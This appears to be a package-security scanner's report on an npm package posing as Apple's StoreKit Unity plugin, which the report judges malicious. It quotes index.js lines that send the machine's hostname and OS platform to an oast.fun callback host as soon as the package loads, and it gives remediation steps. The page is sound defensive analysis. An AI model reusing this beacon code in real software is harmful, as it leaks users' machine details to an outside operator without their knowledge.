registry / Data exfiltration / com.apple.unityplugin.storekit

com.apple.unityplugin.storekit

Exposes Apple's StoreKit.framework to Unity developers via C# script API

This report shows the evidence for com.apple.unityplugin.storekit@1.0.2. 2 of 3 known versions are blocked or flagged. The newest version, 0.0.0-stage, is allowed. See all versions.

AI Security Review

scanned 28d ago · by lpm-firewall-ai

The package's only runtime behavior is an automatic request that sends the machine hostname and OS platform to an unrelated oast.fun callback. That is concrete import-time data exfiltration, not a StoreKit API.

Static reason

No blocking static signals were detected.; source fingerprint signature matched known malicious package; routed for review

Trigger

Any Node process that loads the package main entry index.js.

Impact

The host name and platform are disclosed to an unrelated callback operator, confirming that the package was loaded on that machine.

Mechanism

index.js calls os.platform and os.hostname, places them in an HTTPS URL on dapnhid534ch06s9vpm0mbg1httu5gytc.oast.fun, and issues https.get without user action.

Attack narrative

When a project requires com.apple.unityplugin.storekit, Node runs index.js at once. That file reads the operating-system name and the computer hostname and places them in a query string on a unique oast.fun address, then performs an HTTPS GET. The body is ignored, so the call is a beacon rather than a download. No install script is needed; ordinary import is enough to tell the callback operator which machine loaded the package.

AI rationale

Evidence

index.jspackage.json

Network endpoints1

dapnhid534ch06s9vpm0mbg1httu5gytc.oast.fun

Decision evidence

public snapshot

AI called this Malicious at 96.0% confidence as Malware with low false-positive risk.

Evidence for block

index.js runs on require and builds an HTTPS request to a random oast.fun host that includes the operating-system platform and the machine hostname.
The request is sent immediately with https.get and the response body is discarded.
package.json sets main to index.js and defines only a failing test script, so loading the package is enough to send the beacon.

Evidence against

package.json has no preinstall, install, or postinstall hook.
The query uses an undeclared pkgName variable, so the package-name parameter is undefined when the request is built.
The response is not evaluated, written to disk, or passed to a shell.

Behavioral surface

Source

Network

Supply chain

TrivialUrlStrings

ManifestNo manifest risk signals triggered.

scanned 1 file(s), 385 B of source, external domains: dapnhid534ch06s9vpm0mbg1httu5gytc.oast.fun

Source & flagged code

5 flagged

index.jsView file

•matchType = malicious_source_fingerprint_signature signature = b9c275be96a2ee0e signatureType = suspicious_hashes sourceLabel = Datadog matchedPackage = perfetto-dev@1.0.0 matchedPath = index.js matchedIdentity = npm:cGVyZmV0dG8tZGV2:1.0.0 similarity = 1.000 shingleOverlap = 1 summary = Datadog malicious npm corpus sample: samples/npm/malicious_intent/perfetto-dev/1.0.0/2025-09-13-perfetto-dev-v1.0.0.zip

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

index.jsView on unpkg

7const url = `https://[redacted].oast.fun/?pkg=${pkgName}&os=${os.platform()}&host=${os.hostname()}`; https.get(url, (res) => {

High

Ai Review Evidence

index.js runs on require and builds an HTTPS request to a random oast.fun host that includes the operating-system platform and the machine hostname.

index.jsView on unpkg · L7

10https.get(url, (res) => { res.on('data', () => {}); }).on('error', (err) => { console.error("error", err.message) });

High

Ai Review Evidence

The request is sent immediately with https.get and the response body is discarded.

index.jsView on unpkg · L10

1const os = require("os"); const https = require("https"); const packageName = "com.app

High

Ai Review Evidence

index.js runs on require and builds an HTTPS request to a random oast.fun host that includes the operating-system platform and the machine hostname.

index.jsView on unpkg · L1

package.jsonView file

11"main": "index.js", "scripts": { "test": "echo \"Error: no test specified\" && exit 1" } }

High

Ai Review Evidence

package.json sets main to index.js and defines only a failing test script, so loading the package is enough to send the beacon.

package.jsonView on unpkg · L11

Source & flagged code

5 flagged · loading source

index.jsView file

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

index.jsView on unpkg

7const url = `https://[redacted].oast.fun/?pkg=${pkgName}&os=${os.platform()}&host=${os.hostname()}`; https.get(url, (res) => {

High

Ai Review Evidence

index.js runs on require and builds an HTTPS request to a random oast.fun host that includes the operating-system platform and the machine hostname.

index.jsView on unpkg · L7

10https.get(url, (res) => { res.on('data', () => {}); }).on('error', (err) => { console.error("error", err.message) });

High

Ai Review Evidence

The request is sent immediately with https.get and the response body is discarded.

Findings

5 High1 Medium2 Low

HighKnown Malware Source Fingerprint Signatureindex.js

HighAi Review Evidenceindex.js

HighAi Review Evidencepackage.json

HighAi Review Evidenceindex.js

MediumNetwork

LowScripts Present

LowUrl Strings

Affected versions and remediation

This report applies to com.apple.unityplugin.storekit@1.0.2.

The versions list below shows the verdict for each recorded version.

Avoid installing com.apple.unityplugin.storekit@1.0.2. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-10-12 13:45:04.779Z (UTC).

Source advisory published: 2026-09-23 14:10:47.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

3 known versions

0.0.0-stagelatestClean—AllowPublishedOct 12, 2026, 12:25 PM 1.0.2shownMaliciousData ExfiltrationBlockPublishedSep 23, 2026, 8:28 AM 1.0.1MaliciousData ExfiltrationBlockPublishedSep 23, 2026, 8:12 AM

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other data exfiltration packages

Behavioral surface

Source & flagged code

Related packages

Other data exfiltration packages